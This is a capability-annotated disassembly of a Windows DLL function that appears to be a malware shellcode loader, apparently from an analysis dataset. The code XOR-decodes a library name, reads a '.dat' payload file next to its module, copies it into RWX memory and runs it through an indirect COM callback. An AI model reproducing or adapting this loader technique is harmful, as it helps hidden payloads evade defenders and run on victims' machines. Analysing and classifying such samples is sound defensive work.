Function at 0x180001bc0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x228]
sub rsp, 0x320
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x18001e648]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov dword [rbp - 0x68], 0x3a5f3a71
mov dword [rbp - 0x64], 0x3a543a48
mov dword [rbp - 0x60], 0x3a563a5f
mov dword [rbp - 0x5c], 0x3a083a09
mov dword [rbp - 0x58], 0x3a5e3a14
mov dword [rbp - 0x54], 0x3a563a56
mov byte [rbp - 0x50], 0x3a
xor r12d, r12d
mov word [rbp - 0x38], r12w
xor eax, eax
mov qword [rbp - 0x36], rax
mov qword [rbp - 0x2e], rax
mov qword [rbp - 0x26], rax
mov qword [rbp - 0x1e], rax
mov qword [rbp - 0x16], rax
mov qword [rbp - 0xe], rax
nop dword [rax]
xor byte [rbp + rax - 0x68], 0x3a
inc rax
cmp rax, 0x19
jl 0x180001930
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x28], rax
movzx eax, byte [rbp - 0x50]
mov byte [rbp - 0x20], al
mov eax, dword [0x180020e20]
test al, 1
jne 0x180001983
or eax, 1
mov dword [0x180020e20], eax
lea rcx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x180020e18], rax
jmp 0x18000198a
mov rax, qword [0x180020e18]
test rax, rax
jne 0x180001997
or eax, 0xffffffff
jmp 0x180001b56
mov word [rbp], r12w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 2]
call fcn.1800098a0
mov r8d, 0x104
lea rdx, [rbp]
mov rcx, qword [0x180020e08]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov word [rbp - 0x68], r12w
xor eax, eax
mov qword [rbp - 0x66], rax
mov qword [rbp - 0x5e], rax
mov dword [rbp - 0x48], 0x64002e
mov dword [rbp - 0x44], 0x740061
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x68], rax
mov byte [rbp - 0x60], r12b
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax - 4]
mov word [rbp + rcx*2], r12w
lea ecx, [rax - 3]
mov word [rbp + rcx*2], r12w
lea ecx, [rax - 2]
mov word [rbp + rcx*2], r12w
dec eax
mov word [rbp + rax*2], r12w
lea rdx, [rbp - 0x68]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r12
mov word [rsp + 0x60], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp]
lea rcx, [rsp + 0x60]
call fcn.1800036b0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180001740
nop
mov rdx, qword [rsp + 0x40]
sub rdx, qword [rsp + 0x38]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x180001a97
jmp 0x180001b45
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
sub r8, rdx
mov rcx, rax
call fcn.180005a70
mov r11d, dword [rdi]
cmp r11d, 0xa
jae 0x180001aba
jmp 0x180001b45
mov rsi, r11
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180001ade
jmp 0x180001b45
lea rdx, [rdi + 4]
mov r8, rsi
mov rcx, rax
call fcn.180005a70
mov qword [rbp - 0x78], 0x1c6
mov dword [rbp - 0x70], 0xc0
mov dword [rbp - 0x6c], 0x46000000
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x30], r12
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
mov dword [rsp + 0x20], r12d
lea r9, [rbp - 0x78]
mov r8, rdi
mov rdx, rbx
call qword [rax + 0x40]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180001b54
call fcn.180005a50
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.180005800
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
jmp 0x1800018a0